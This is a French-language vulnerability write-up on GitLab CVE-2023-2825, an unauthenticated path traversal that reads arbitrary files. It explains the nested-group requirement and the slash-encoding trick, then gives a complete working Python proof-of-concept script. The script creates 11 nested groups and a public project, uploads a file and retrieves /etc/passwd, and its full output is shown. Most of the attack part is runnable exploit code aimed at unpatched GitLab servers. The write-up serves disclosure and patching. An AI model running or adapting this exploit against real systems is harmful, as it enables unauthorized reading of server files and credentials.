
la preuve de concept écrite en Python pour un utilisateur malveillant non authentifié peut utiliser une vulnérabilité de traversée de chemin pour lire des fichiers arbitraires sur le serveur lorsqu'une pièce jointe existe dans un projet public imbriqué dans au moins cinq groupes. Il s'agit d'un problème de gravité critique
Le 23 mai 2023, GitLab a publié la version 16.0.1 qui corrige une vulnérabilité critique, CVE-2023-2825, affectant les éditions Community (CE) et Enterprise (EE) version 16.0.0. Cette vulnérabilité permet à des utilisateurs non authentifiés de lire des fichiers arbitraires via un bogue de traversée de chemin. Elle a été découverte par pwnie sur HackerOne dans le cadre du programme de bug bounty.
Au moment de la rédaction, aucune preuve de concept publique n'était disponible.
Un utilisateur malveillant non authentifié peut utiliser une vulnérabilité de traversée de chemin pour lire des fichiers arbitraires sur le serveur lorsqu'une pièce jointe existe dans un projet public imbriqué dans au moins cinq groupes. Il s'agit d'un problème de gravité critique (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Cette vulnérabilité a une exigence intéressante : le projet doit être imbriqué dans au moins 5 groupes. Lors de nos tests, nous avons trouvé une corrélation directe entre le nombre de groupes et les répertoires que vous pouvez traverser. La règle semble être N + 1, ce qui signifie que si vous souhaitez traverser 10 répertoires, vous devez avoir 11 groupes.
Sur une installation standard de GitLab, les pièces jointes sont téléchargées dans /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Donc, si vous voulez atteindre la racine du système de fichiers, vous devez remonter de 10 répertoires et donc avoir 11 groupes.
Lorsque vous téléchargez un fichier en tant que pièce jointe sur un ticket GitLab, une requête est envoyée à POST - /:repo/upload. Cela renvoie une réponse JSON avec l'URL du fichier, vous permettant d'accéder au fichier.
L'URL du fichier est composée de /:repo/uploads/:id/:file où :file est le nom du fichier lui-même. Remplacer :file par n'importe quel chemin de fichier amènera GitLab à retourner le fichier demandé. GitLab ne parvient pas à assainir ce chemin de fichier, ce qui entraîne une traversée de chemin.
Pour exploiter avec succès cette vulnérabilité, vous devez encoder l'URL du / dans le chemin du fichier. GitLab lira cela comme une valeur et le décodera en interne. Ne pas l'encoder amènera GitLab à interpréter le / dans le chemin du fichier comme faisant partie de la route.
Lors de nos tests, encoder uniquement le / suffisait pour contourner les erreurs de chemin Nginx.
Les utilisateurs non authentifiés ne peuvent exploiter cette vulnérabilité que sur des dépôts publics répondant aux exigences de groupes imbriqués. L'authentification est requise pour accéder au dépôt lui-même.
Voici la preuve de concept écrite en Python. Elle crée les 11 groupes, crée un dépôt public, télécharge un fichier, puis exploite la vulnérabilité pour obtenir le fichier /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
GitLab recommande de mettre à jour toutes les versions affectées par ce problème dès que possible.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/